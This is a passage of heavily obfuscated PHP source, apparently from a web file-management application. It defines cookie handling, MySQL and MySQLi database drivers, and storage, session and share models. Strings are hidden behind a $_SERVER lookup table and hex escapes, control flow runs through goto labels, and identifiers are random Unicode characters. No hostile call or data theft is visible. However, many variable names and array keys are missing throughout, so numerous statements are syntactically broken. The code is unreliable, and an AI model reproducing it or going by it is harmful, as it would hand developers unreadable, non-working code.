$͒ȥ[$Ƽ[178]]; $ = $this->client->__getSignatureV4($ܑɸ, $, $ʈ, $ۖ҆, $); return array($Ƽ[256] => $[$Ƽ[256]], $Ƽ[246] => $[$Ƽ[1523]], $Ƽ[258] => $, $Ƽ[1520] => $[$Ƽ[1520]]); } public function link($̠, $˳ͮ = array()) { return parent::link($̠, $˳ͮ); } public function fileOut($Ĝ, $٬ = false, $ɯ˦ = false, $ް = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[][1528])) { return parent::fileOutServer($Ĝ, $٬, $ɯ˦, $ް); } parent::fileOut($Ĝ, $٬, $ɯ˦, $ް); } public function fileOutImage($, $ېȳ = 250) { if (strstr($this->endpoint, $_SERVER[][1528])) { return parent::fileOutImageServer($, $ېȳ); } parent::fileOutImage($, $ېȳ); } public function fileOutLink($ڇ) { $阃ʞ =& $_SERVER[]; if (substr($ڇ, 0, 7) == $阃ʞ[1378]) { $ڇ = $阃ʞ[1379] . substr($ڇ, 7); } header($阃ʞ[165] . $ڇ); die; } } goto c; AݽƸ: class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($θ = '', $ɢ = 0) { if (is_string($θ) && $θ != $_SERVER[][12]) { $this->prefix = $θ; } if (is_numeric($ɢ) && $ɢ > 0) { $this->expire = $ɢ; } } public static function getInstance() { static $Ĉ; if ($Ĉ === null) { $Ĉ = new self(); } return $Ĉ; } private static $cookieDisable = false; public static function disable($) { self::$cookieDisable = $; } private static $sameCookieSet = array(); public static function set($ͯ, $χ, $ = 0, $ = false, $̂׃ = false) { $ȿ =& $_SERVER[]; if (self::$cookieDisable) { return; } if (!$) { $ = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$ͯ]) && self::$sameCookieSet[$ͯ] == $χ . $) { return; } self::$sameCookieSet[$ͯ] = $χ . $; if (!$̂׃) { $̂׃ = str_replace(HOST, $ȿ[12], APP_HOST); $̂׃ = _get($GLOBALS, $ȿ[930], $̂׃); } $Ҟ = $ȿ[12]; setcookie($ͯ, $χ, time() + $, $ȿ[8] . trim($̂׃, $ȿ[8]) . $Ҟ, !1, !1, $); } public static function setSafe($鮬, $, $ۨ = 0) { self::set($鮬, $, $ۨ, !0); } public static function get($) { static $ = false; if (!$) { self::initHeaderCookie(); $ = !0; } return isset($_COOKIE[$]) ? $_COOKIE[$] : !1; } private static function initHeaderCookie() { $ݼ =& $_SERVER[]; if (!isset($_SERVER[$ݼ[931]]) || !$_SERVER[$ݼ[931]]) { return; } $ݠ = explode($ݼ[74], $_SERVER[$ݼ[931]]); foreach ($ݠ as $ڬ) { $ڬ = explode($ݼ[932], $ڬ); if (count($ڬ) != 2 || !isset($ڬ[1])) { continue; } $_COOKIE[trim($ڬ[0])] = trim($ڬ[1]); } } public static function remove($İ, $ = false) { unset($_COOKIE[$İ]); self::set($İ, $_SERVER[][12], 1, $); } } class DbMysql extends Db { public function __construct($³ = '') { $ =& $_SERVER[]; if (!extension_loaded($[848])) { think_exception(think_lang($[14]) . $[933]); } if (!empty($³)) { $this->config = $³; if (empty($this->config[$[17]])) { $this->config[$[17]] = $[12]; } } } public function connect($ԡĨߘ = '', $ِ = 0, $ = false) { $ =& $_SERVER[]; if (!isset($this->linkID[$ِ])) { if (empty($ԡĨߘ)) { $ԡĨߘ = $this->config; } $Ɠ = $ԡĨߘ[$[934]] . ($ԡĨߘ[$[935]] ? "\x3a{$ԡĨߘ[$[935]]}" : $[12]); $ = !empty($ԡĨߘ[$[17]][$[18]]) ? $ԡĨߘ[$[17]][$[18]] : $this->pconnect; if ($) { $this->linkID[$ِ] = mysql_pconnect($Ɠ, $ԡĨߘ[$[936]], $ԡĨߘ[$[937]], 131072); } else { $this->linkID[$ِ] = mysql_connect($Ɠ, $ԡĨߘ[$[936]], $ԡĨߘ[$[937]], !0, 131072); } if (!$this->linkID[$ِ] || !empty($ԡĨߘ[$[21]]) && !mysql_select_db($ԡĨߘ[$[21]], $this->linkID[$ِ])) { think_exception(mysql_error()); } $ = mysql_get_server_info($this->linkID[$ِ]); mysql_query($[938] . think_config($[939]) . $[58], $this->linkID[$ِ]); if ($ > $[940]) { mysql_query($[941], $this->linkID[$ِ]); } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$ِ]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($޹؊) { $㿇 =& $_SERVER[]; if (0 === stripos($޹؊, $㿇[316])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $޹؊; if ($this->queryID) { $this->free(); } think_action_status($㿇[23], 1); think_status($㿇[24]); $this->queryID = mysql_query($޹؊, $this->_linkID); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } } public function execute($ˀ) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ˀ; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $«Ƿ = mysql_query($ˀ, $this->_linkID); $this->debug(); if (!1 === $«Ƿ) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[][942], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = mysql_query($_SERVER[][943], $this->_linkID); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = mysql_query($_SERVER[][944], $this->_linkID); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $̋ߦ = array(); if ($this->numRows > 0) { while ($Ǫ = mysql_fetch_assoc($this->queryID)) { $̋ߦ[] = $Ǫ; } mysql_data_seek($this->queryID, 0); } return $̋ߦ; } public function getFields($) { $Ǟ =& $_SERVER[]; $گߐ = $this->query($Ǟ[945] . $this->parseKey($)); $ = array(); if ($گߐ) { foreach ($گߐ as $ϯ => $) { $[$[$Ǟ[31]]] = array($Ǟ[32] => $[$Ǟ[31]], $Ǟ[33] => $[$Ǟ[34]], $Ǟ[35] => (bool) (strtoupper($[$Ǟ[36]]) === $Ǟ[946]), $Ǟ[37] => $[$Ǟ[38]], $Ǟ[39] => strtolower($[$Ǟ[40]]) == $Ǟ[41], $Ǟ[42] => strtolower($[$Ǟ[43]]) == $Ǟ[44]); } } return $; } public function getTables($ㅸ = '') { $ =& $_SERVER[]; if (!empty($ㅸ)) { $ = $[947] . $ㅸ . $[948]; } else { $ = $[949]; } $ΐ = $this->query($); $ث = array(); foreach ($ΐ as $ => $ֽ) { $ث[$] = current($ֽ); } return $ث; } public function replace($憏, $ = array()) { $ĖЄ =& $_SERVER[]; foreach ($憏 as $˕ => $) { $Ϛױ = $this->parseValue($); if (is_scalar($Ϛױ)) { $롆[] = $Ϛױ; $ț[] = $this->parseKey($˕); } } $˳ = $ĖЄ[950] . $this->parseTable($[$ĖЄ[331]]) . $ĖЄ[951] . implode($ĖЄ[50], $ț) . $ĖЄ[952] . implode($ĖЄ[50], $롆) . $ĖЄ[953]; return $this->execute($˳); } public function insertAll($َ, $ = array(), $݅ = false) { $ւ =& $_SERVER[]; if (!is_array($َ[0])) { return !1; } $ = array_keys($َ[0]); $ = array(); foreach ($َ as $ƕ) { $޳̥ = array(); foreach ($ƕ as $ͯ => $ԧχ) { $ԧχ = $this->parseValue($ԧχ); if (is_scalar($ԧχ)) { $޳̥[] = $ԧχ; } } $[] = $ւ[312] . implode($ւ[50], $޳̥) . $ւ[953]; } array_walk($, array($this, $ւ[954])); $Ӻ = ($݅ ? $ւ[955] : $ւ[956]) . $ւ[957] . $this->parseTable($[$ւ[331]]) . $ւ[951] . implode($ւ[50], $) . $ւ[958] . implode($ւ[50], $); return $this->execute($Ӻ); } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $ =& $_SERVER[]; $this->error = mysql_errno() . $[4] . mysql_error($this->_linkID); if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($䮕) { if ($this->_linkID) { return mysql_real_escape_string($䮕, $this->_linkID); } else { return mysql_escape_string($䮕); } } public function parseKey(&$蹊, $Ϻȩ = true) { $ʬ =& $_SERVER[]; if ($Ϻȩ) { $蹊 = $this->parseKeyCheck($蹊); } if ($蹊 != $ʬ[211] && !preg_match($ʬ[959], $蹊)) { $蹊 = $ʬ[436] . trim($蹊, $ʬ[436]) . $ʬ[436]; } return $蹊; } } class DbMysqli extends Db { public function __construct($ر = '') { $ =& $_SERVER[]; if (!extension_loaded($[960])) { think_exception(think_lang($[14]) . $[961]); } if (!empty($ر)) { $this->config = $ر; if (empty($this->config[$[17]])) { $this->config[$[17]] = $[12]; } } } public function connect($ = '', $ˮ = 0) { $ =& $_SERVER[]; if (!isset($this->linkID[$ˮ])) { if (empty($)) { $ = $this->config; } $this->linkID[$ˮ] = new mysqli($[$[934]], $[$[936]], $[$[937]], $[$[21]], $[$[935]] ? intval($[$[935]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } $ږ = $this->linkID[$ˮ]->server_version; $this->linkID[$ˮ]->query($[938] . think_config($[939]) . $[58]); if ($ږ > $[940]) { $this->linkID[$ˮ]->query($[941]); } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$ˮ]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = $this->_linkID->query($); if ($this->_linkID->more_results()) { while (($ڨ = $this->_linkID->next_result()) != NULL) { $ڨ->free_result(); } } $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } } public function execute($Ϛ) { $ί =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $Ϛ; if ($this->queryID) { $this->free(); } think_action_status($ί[25], 1); think_status($ί[24]); $׏ = $this->_linkID->query($Ϛ); $this->debug(); if (!1 === $׏) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $ʉ = array(); if ($this->numRows > 0) { for ($ˁ = 0; $ˁ < $this->numRows; $ˁ++) { $ʉ[$ˁ] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $ʉ; } public function getFields($) { $ =& $_SERVER[]; $Ξ = $this->query($[945] . $this->parseKey($)); $ = array(); if ($Ξ) { foreach ($Ξ as $ɧ => $؋) { $[$؋[$[31]]] = array($[32] => $؋[$[31]], $[33] => $؋[$[34]], $[35] => (bool) ($؋[$[36]] === $[12]), $[37] => $؋[$[38]], $[39] => strtolower($؋[$[40]]) == $[41], $[42] => strtolower($؋[$[43]]) == $[44]); } } return $; } public function getTables($޻ = '') { $ =& $_SERVER[]; $˦ = !empty($޻) ? $[947] . $޻ . $[948] : $[949]; $ = $this->query($˦); $ί = array(); if ($) { foreach ($ as $ȩ => $Ԓ) { $ί[$ȩ] = current($Ԓ); } } return $ί; } public function replace($ڢ, $섳 = array()) { $쭲 =& $_SERVER[]; foreach ($ڢ as $ǐѶ => $ч) { $ٜ = $this->parseValue($ч); if (is_scalar($ٜ)) { $ΐ˱[] = $ٜ; $[] = $this->parseKey($ǐѶ); } } $鸜 = $쭲[950] . $this->parseTable($섳[$쭲[331]]) . $쭲[951] . implode($쭲[50], $) . $쭲[952] . implode($쭲[50], $ΐ˱) . $쭲[953]; return $this->execute($鸜); } public function insertAll($, $ = array(), $ = false) { $ƕͣ =& $_SERVER[]; if (!is_array($[0])) { return !1; } $ = array_keys($[0]); $ = array(); foreach ($ as $ƅ) { $ꤧł = array(); foreach ($ƅ as $ => $) { $ = $this->parseValue($); if (is_scalar($)) { $ꤧł[] = $; } } $[] = $ƕͣ[312] . implode($ƕͣ[50], $ꤧł) . $ƕͣ[953]; } array_walk($, array($this, $ƕͣ[954])); $阂 = $ ? $ƕͣ[955] : $ƕͣ[956]; $ = $阂 . $ƕͣ[957] . $this->parseTable($[$ƕͣ[331]]) . $ƕͣ[951] . implode($ƕͣ[50], $) . $ƕͣ[958] . implode($ƕͣ[50], $); return $this->execute($); } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $٭ =& $_SERVER[]; $this->error = $this->_linkID->errno . $٭[4] . $this->_linkID->error; if ($٭[12] != $this->queryStr) { $this->error .= LNG($٭[48]) . $this->queryStr; } think_trace($this->error, $٭[12], $٭[49]); return $this->error; } public function escapeString($ȷ) { if ($this->_linkID) { return $this->_linkID->real_escape_string($ȷ); } else { return addslashes($ȷ); } } public function parseKey(&$, $ = true) { $Ϛ =& $_SERVER[]; if ($) { $ = $this->parseKeyCheck($); } if ($ != $Ϛ[211] && !preg_match($Ϛ[959], $)) { $ = $Ϛ[436] . trim($, $Ϛ[436]) . $Ϛ[436]; } return $; } } goto DԹ; c带ƥ: class SourceSecretModel extends ModelBaseLight { public $optionType = "\123\x79\x73\x74\x65\x6d\x2e\163\157\x75\x72\x63\x65\123\x65\x63\x72\x65\x74\114\x69\163\164"; public $field = array("\x73\157\165\162\x63\x65\x49\104", "\164\171\160\145\111\x44", "\143\162\x65\141\x74\x65\x55\163\x65\x72"); } class StorageModel extends ModelBaseLight { public $optionType = "\123\x79\x73\164\145\155\x2e\x73\164\x6f\x72\141\x67\145\x4c\151\x73\x74"; public $field = array("\x6e\141\155\145", "\163\151\172\145\x4d\x61\x78", "\163\171\x73\164\x65\155", "\x64\145\x66\x61\165\154\x74", "\144\x72\151\x76\x65\x72", "\x63\157\x6e\146\x69\147"); public function listData($䙡 = false, $ = "\x6d\157\x64\x69\146\x79\x54\x69\x6d\145", $ = false) { $ん =& $_SERVER[]; $ԧ = parent::listData($䙡, $, $); if ($䙡) { return $ԧ; } $ = array(); if ($GLOBALS[$ん[2281]]) { $ = $this->ioSizeUseGet(array_to_keyvalue($ԧ, $ん[12], $ん[450])); } foreach ($ԧ as $ꊞ => $) { unset($ԧ[$ꊞ][$ん[6]]); $ԧ[$ꊞ][$ん[1941]] = isset($[$[$ん[450]]]) ? $[$[$ん[450]]] : 0; } return $ԧ; } public function ioSizeUseGet($) { $ =& $_SERVER[]; if (!$) { return array(); } $̒ = $[2282] . implode($[50], $); $ = Cache::get($̒); if ($) { return $; } $ļ = array($[861] => $[450], $[2283] => $[79]); $ֺ = array($[861] => array($[7], $)); $ = Model($[833])->field($ļ)->where($ֺ)->group($[861])->select(); $ = array_to_keyvalue($, $[450], $[79]); Cache::set($̒, $, 600); return $; } public function getConfig($) { $ = parent::listData($); return json_decode($[$_SERVER[][6]], !0); } public function update($ք, $ۏ) { $ =& $_SERVER[]; $ = $ۏ[$[32]]; $ް = array_to_keyvalue(parent::listData(), $[32]); if (isset($ް[$]) && $ް[$][$[450]] != $ք) { return !1; } $this->checkPwd($ք, $ۏ); if (isset($ۏ[$[2284]]) && $ۏ[$[2284]] == $[91]) { $this->checkConfig($ۏ); } unset($ۏ[$[2284]]); $ = parent::update($ք, $ۏ); if ($ && $ۏ[$[37]]) { $Ӓ = 0; foreach ($ް as $ү) { if ($ү[$[37]] && $ү[$[450]] != $ք) { $Ӓ = $ү[$[450]]; parent::update($ү[$[450]], array($[37] => 0)); } } $this->updateBackup($ք, $Ӓ); } return $; } public function add($) { $ܳ =& $_SERVER[]; $֒ = array_to_keyvalue(parent::listData(), $ܳ[32]); if (isset($֒[$[$ܳ[32]]])) { return !1; } $this->checkConfig($); $ӫ = parent::insert($); if ($ӫ && $[$ܳ[37]]) { foreach ($֒ as $) { if ($[$ܳ[37]]) { parent::update($[$ܳ[450]], array($ܳ[37] => 0)); } } } return $ӫ; } public function updateBackup($Еṽ, $Ϡō) { $漬 =& $_SERVER[]; if (!$Ϡō) { return; } $ԙ = Model($漬[794])->config(); if ($ԙ[$漬[1723]] != $漬[91] || $ԙ[$漬[796]] != $Ϡō) { return; } $ = Model($漬[815])->get($漬[827]); $ = json_decode($, !0); if (!$) { return; } $[$漬[796]] = $Еṽ; Model($漬[815])->set(array($漬[827] => $)); } public function checkPwd($Ϩ, &$呻) { $Ѩ =& $_SERVER[]; if (empty($呻[$Ѩ[6]])) { return; } $⫳ = json_decode($呻[$Ѩ[6]], !0); $ = $Ѩ[12]; $ئ = array($Ѩ[2285], $Ѩ[2286], $Ѩ[937]); foreach ($ئ as $ݧ) { if (isset($⫳[$ݧ])) { $ = $ݧ; break; } } if (!$) { return; } $Ȍ = $this->getConfig($Ϩ); $Ʋ = $Ȍ[$]; $㈓ = $⫳[$]; if ($㈓ == str_repeat($Ѩ[211], strlen($Ʋ))) { $⫳[$] = $Ʋ; $呻[$Ѩ[6]] = json_encode($⫳); } else { if ($㈓ != $Ʋ) { $呻[$Ѩ[2284]] = $Ѩ[91]; } } } public function checkConfig(&$Ԥݠ, $ = false) { $ɝ =& $_SERVER[]; $ޢ = strtolower($Ԥݠ[$ɝ[98]]); $ = json_decode($Ԥݠ[$ɝ[6]], !0); foreach ($ as $³ => $˳) { if (is_string($˳)) { $[$³] = trim($˳); } } $[$ɝ[2287]] = rand_string(6); $ð = $GLOBALS[$ɝ[6]][$ɝ[92]][$ɝ[870]]; $ߏ = isset($ð[$ޢ]) ? $ð[$ޢ] : ucfirst($ޢ); $Ί = $ɝ[77] . $ߏ; if (!$ߏ || !class_exists($Ί)) { if ($) { return LNG($ɝ[2288]); } write_log(array($ɝ[2289], $Ԥݠ, get_caller_info()), $ɝ[206]); show_json(LNG($ɝ[2288]), !1, $Ԥݠ); } $ґ = new $Ί($); if (in_array($ޢ, $ґ->objectDriver)) { try { if (!$ґ->isBucketCors() && !$ґ->setBucketCors()) { $ = LNG($ɝ[2290]); $ .= $ɝ[2291] . LNG($ɝ[2292]); } } catch (Exception $ͼ) { $ = $ͼ->getMessage(); } if (isset($)) { return $this->_parseError($, $ޢ, $); } } $ = rtrim($[$ɝ[1234]], $ɝ[8]) . $ɝ[8]; $їϣ = $ґ->getPath($ . $ɝ[1238]); try { $ = $ґ->mkfile($їϣ); if (!$) { $ = LNG($ɝ[2290]); } } catch (Exception $ͼ) { $ = $ͼ->getMessage(); } if (isset($)) { return $this->_parseError($, $ޢ, $); } if ($ޢ == $ɝ[68] && !$ґ->checkRegion()) { return $this->_parseError(LNG($ɝ[2293]), $ޢ, $); } $[$ɝ[1234]] = $; $Ԥݠ[$ɝ[6]] = json_encode($); $Ԥݠ[$ɝ[98]] = $ߏ; return !0; } private function _parseError($ޓ, $—ǀ, $ٹ = false) { $ߜӐ =& $_SERVER[]; if ($—ǀ == $ߜӐ[68] && stripos($ޓ, $ߜӐ[2294])) { $넎 = explode($ߜӐ[10], $ޓ); $ʗώ = isset($넎[1]) ? $넎[1] : $ߜӐ[12]; $ = array($ߜӐ[2295] => LNG($ߜӐ[2296]), $ߜӐ[2297] => LNG($ߜӐ[2298])); if (isset($[$ʗώ])) { $ޓ = $[$ʗώ]; } } if (stripos($ޓ, $ߜӐ[2299]) === 0) { $ = strpos($ޓ, $ߜӐ[168]); if ($ === !1) { $ = strpos($ޓ, $ߜӐ[4]); } if ($ !== !1) { $ޓ = substr($ޓ, $ + 1); } } $ޓ = LNG($ߜӐ[1240]) . $ޓ; if ($ٹ) { return $ޓ; } show_json($ޓ, !1); } public function driverListSystem() { $ =& $_SERVER[]; $ꠔ = parent::listData(); $϶ = array(); foreach ($ꠔ as $ѧ) { unset($ѧ[$[222]], $ѧ[$[88]]); $ѧ[$[6]] = json_decode($ѧ[$[6]], !0); $϶[] = $ѧ; } return $϶; } public function defaultDriver() { $𚆬 =& $_SERVER[]; $ = parent::listData(); $ = array_filter_by_field($, $𚆬[37], 1); $ = $[0]; if ($) { $[$𚆬[6]] = json_decode($[$𚆬[6]], !0); } return $; } public function driverInfo($) { $٠ =& $_SERVER[]; $Ŷ = array_to_keyvalue(parent::listData(), $٠[450]); if (!isset($Ŷ[$])) { return !1; } $ݲ = $Ŷ[$]; $ݲ[$٠[6]] = json_decode($ݲ[$٠[6]], !0); return $ݲ; } public function remove($) { $this->removeShareItems($); return parent::remove($); } public function removeWithFile($, $扑Ȇ, $֐, $Ққ = false) { $܊ =& $_SERVER[]; $ = array($܊[861] => $); $ = Model($܊[519])->where($)->count(); $Փ = Model($܊[519])->where($)->sum($܊[79]); $ = $扑Ȇ . $܊[2300] . $; $ = LNG($扑Ȇ == $܊[595] ? $܊[2301] : $܊[2302]); $ = new TaskFileTransfer($, $܊[206], $, $ . $܊[437] . $֐[$܊[32]] . $܊[205] . $); $->task[$܊[808]] = (double) $Փ; $я = KodIO::defaultDriver(); $ = $я[$܊[450]]; $ = $޽ = $В = array(); $à = Model($܊[221])->where($)->field($܊[2303])->select(); foreach ($à as $Ͱ) { $ϊ = $Ͱ[$܊[516]]; if ($Ққ) { $޽[] = $ϊ; continue; } $ʮ٥ = $Ͱ[$܊[87]]; $ = get_path_father($ʮ٥); $В[] = $; $ = str_replace("\173\151\157\72{$}\x7d\x2f", "\x7b\151\x6f\x3a{$}\x7d\57", $); if (!IO::exist($ʮ٥)) { $[] = $ϊ; $->updateFileEnd($Ͱ[$܊[32]], $Ͱ[$܊[79]]); write_log($܊[2304] . $ʮ٥, $܊[1884]); continue; } $č = IO::move($ʮ٥, $, REPEAT_RENAME); if (!$č) { $޽[] = $ϊ; $->updateFileEnd($Ͱ[$܊[32]], $Ͱ[$܊[79]]); write_log($܊[2305] . $ʮ٥, $܊[1884]); continue; } $ = array($܊[516] => $ϊ); $ = array($܊[861] => $, $܊[87] => $č); Model($܊[221])->where($)->save($); } $խ = $->task; if (!$Ққ) { Cache::set($, $խ); } $->end(); $ = array_unique($); $޽ = array_unique($޽); if (!$Ққ && ($ || $޽)) { $ = array(); if ($) { $[] = sprintf(LNG($܊[2306]), count($)); } if ($޽) { $[] = sprintf(LNG($܊[2307]), count($޽)); } $ = sprintf(LNG($܊[2308]), implode($܊[2309], $)) . $܊[2310] . date($܊[2311]) . $܊[2312]; if ($扑Ȇ == $܊[1921]) { $ .= $܊[2313] . LNG($܊[2314]); } $խ[$܊[1236]] = $; Cache::set($, $խ); unset($֐[$܊[6]]); $֗ = array($܊[450] => $, $܊[2191] => $܊[595], $܊[32] => $֐[$܊[32]], $܊[1256] => $֐); Hook::trigger($܊[1764], array($܊[1256] => $֗, $܊[1266] => !0)); show_json($, !1, 100111); } if ($扑Ȇ == $܊[595]) { return !0; } if ($ || $޽) { $蠽 = array_merge($, $޽); $蠽 = array_filter(array_unique($蠽)); $this->removeByFileID($蠽); } if ($В) { $В = array_filter(array_unique($В)); foreach ($В as $ʮ٥) { $Ɣ = IO::has($ʮ٥, !0); if (!$Ɣ[$܊[230]] && !$Ɣ[$܊[231]]) { IO::remove($ʮ٥); } } } return $this->remove($); } private function removeByFileID($ǖ = array()) { $촅 =& $_SERVER[]; if (empty($ǖ)) { return; } $Ș = array($촅[516] => array($촅[7], $ǖ)); $쩡 = Model($촅[1388])->where($Ș)->field($촅[184])->select(); if (!$쩡) { return Model($촅[519])->remove($ǖ); } $쩡 = array_to_keyvalue($쩡, $촅[12], $촅[184]); foreach ($쩡 as $) { Model($촅[869])->removeNow($, !1); } } private function removeShareItems($ڨ) { $ =& $_SERVER[]; $Ƙ = "\x7b\x69\x6f\72{$ڨ}\x7d\57"; $Ȑુ = array($[184] => 0, $[1229] => array($[434], "{$Ƙ}\45")); $ = Model($[1932])->where($Ȑુ)->field($[640])->select(); if (empty($)) { return; } $޼ͥ = array_to_keyvalue($, $[12], $[640]); Model($[639])->remove($޼ͥ); } } class SystemLightAppModel extends ModelBaseLight { public $optionType = "\123\x79\163\164\145\x6d\56\x4c\x69\x67\x68\164\x41\x70\160"; public $modelType = "\123\171\163\x74\145\155\117\160\x74\151\x6f\x6e"; public $field = array("\x6e\141\x6d\145", "\x67\162\x6f\x75\x70", "\x64\145\x73\x63", "\x63\157\x6e\x74\x65\156\x74"); public function listData($ۼ = false, $ҙ = "\155\x6f\x64\x69\146\171\x54\151\x6d\145", $ = true) { return parent::listData($ۼ, $ҙ, $); } public function remove($) { $ = $this->findByName($); if (!$) { return !1; } return parent::remove($[$_SERVER[][450]]); } public function add($) { if ($this->findByName($[$_SERVER[][32]])) { return !1; } return parent::insert($); } public function update($ֵҍ, $) { $П =& $_SERVER[]; $ = $this->findByName($ֵҍ); $ = $this->findByName($[$П[32]]); if (!$ || $ && $[$П[450]] != $[$П[450]]) { return !1; } return parent::update($[$П[450]], $); } } goto aɯ; F됵퓅: class SessionModel extends ModelBase { protected $tableName = "\163\x79\163\x74\145\x6d\137\163\145\163\x73\151\157\x6e"; public function get($) { $ɗށ =& $_SERVER[]; $Ԝ = $this->where(array($ɗށ[2092] => $))->find(); if (!is_array($Ԝ)) { return !1; } return $Ԝ[$ɗށ[799]]; } public function set($ٵ, $, $ = 3600) { $ =& $_SERVER[]; $ = array($[2092] => $ٵ, $[1991] => $, $[2093] => $ + time()); if (Session::get($[2094])) { $[$[1753]] = Session::get($[2094]); } else { $[$[1753]] = 0; } if ($this->get($ٵ)) { return $this->where(array($[2092] => $ٵ))->save($); } else { return $this->add($, array(), !0); } } public function remove($̧̾) { return $this->where(array($_SERVER[][2092] => $̧̾))->delete(); } public function clearTimeout() { return $this->where($_SERVER[][2095] . time())->delete(); } } class ShareModel extends ModelBase { protected $tableName = "\x73\150\141\162\145"; protected $dataAuto = array(array("\155\157\144\151\146\171\124\151\155\x65", "\164\x69\155\145", "\151\156\163\x65\x72\164\54\165\x70\x64\141\x74\x65", "\146\165\x6e\143\x74\x69\x6f\x6e"), array("\x63\x72\x65\141\x74\x65\124\151\155\145", "\164\x69\x6d\145", "\x69\156\x73\x65\x72\164", "\146\165\x6e\x63\164\x69\x6f\x6e"), array("\x6f\160\x74\151\x6f\x6e\x73", '', "\x69\x6e\163\x65\x72\x74\54\x75\160\x64\141\164\x65\x2c\163\x65\154\145\x63\x74", "\x6a\163\x6f\156")); private $fieldList = "\52"; protected function cacheFunctionAlias($鮖) { $ޮ =& $_SERVER[]; $ǝ֘ = isset($鮖[0]) ? $鮖[0] : !1; return array($ޮ[2096] => array(USER_ID, $ޮ[2097]), $ޮ[2037] => array($ǝ֘, $ޮ[2098])); } protected function listSimple() { $ȁ = array($_SERVER[][1753] => USER_ID); $¨ = $this->field($this->fieldList)->where($ȁ)->select(); return $¨ ? $¨ : array(); } protected function getInfo($, $ = false) { $Õ =& $_SERVER[]; if ($) { return $this->_getShareInfo(array($Õ[640] => $)); } $⿌ = $this->cacheFunctionGet($Õ[2039], $); return $⿌; } public function getInfoByHash($Ž) { return $this->_getShareInfo(array($_SERVER[][2099] => $Ž)); } public function getInfoByPath($ҵ) { $ =& $_SERVER[]; $Ĥ = array($[1753] => USER_ID, $[184] => $ҵ); return $this->_getShareInfo($Ĥ); } public function getInfoBySourcePath($Јހ) { $ǯ׹ =& $_SERVER[]; $Й = array($ǯ׹[1753] => USER_ID, $ǯ׹[1229] => $Јހ); return $this->_getShareInfo($Й); } private function _getShareInfo($) { $ =& $_SERVER[]; $ = $this->where($)->find(); if (!$) { return !1; } $ = array($[640] => $[$[640]]); $̝ = $[2100]; $ݶ = Model($[641])->order($[450])->field($̝)->where($)->select(); if ($[$[184]] == $[219]) { $[$[90]] = IO::info($[$[1229]]); } else { $[$[90]] = Model($[1388])->pathInfo($[$[184]]); } $[$[2101]] = $ݶ; return $; } protected function getInfoAuth($) { $dž߼ =& $_SERVER[]; $ؼ = $this->getInfo($); if ($ؼ[$dž߼[1753]] == USER_ID) { $ؼ[$dž߼[462]] = $ؼ[$dž߼[90]][$dž߼[462]]; } else { $ؼ[$dž߼[462]] = Model($dž߼[543])->authMake($ؼ[$dž߼[2101]]); } return $ؼ; } protected function listData($ʷ = null, $ח = 300) { $ޓ =& $_SERVER[]; $ҍ܏ = array(array($ޓ[538] => array($ޓ[1062], 0), $ޓ[638] => array($ޓ[1062], 0), $ޓ[2102] => $ޓ[2055])); if ($ʷ == $ޓ[2103]) { $ҍ܏ = array($ޓ[538] => 1); } else { if ($ʷ == $ޓ[1214]) { $ҍ܏ = array($ޓ[638] => 1); } } $ҍ܏[$ޓ[1753]] = USER_ID; $Ӹ = $this->where($ҍ܏)->selectPage($ח); return $Ӹ; } protected function listToMe($ʫ = 300) { $ಢ =& $_SERVER[]; $ƣ = Model($ಢ[2104])->userGroupParents(USER_ID); $ˋ = array($ಢ[623] => SourceModel::TYPE_USER, $ಢ[545] => USER_ID); if ($ƣ) { $ˋ = array(array($ಢ[623] => SourceModel::TYPE_USER, $ಢ[545] => USER_ID), array($ಢ[623] => SourceModel::TYPE_GROUP, $ಢ[545] => array($ಢ[7], $ƣ)), $ಢ[2102] => $ಢ[2055]); } $ȳ = Model($ಢ[641])->where($ˋ)->selectPage($ʫ); $ = 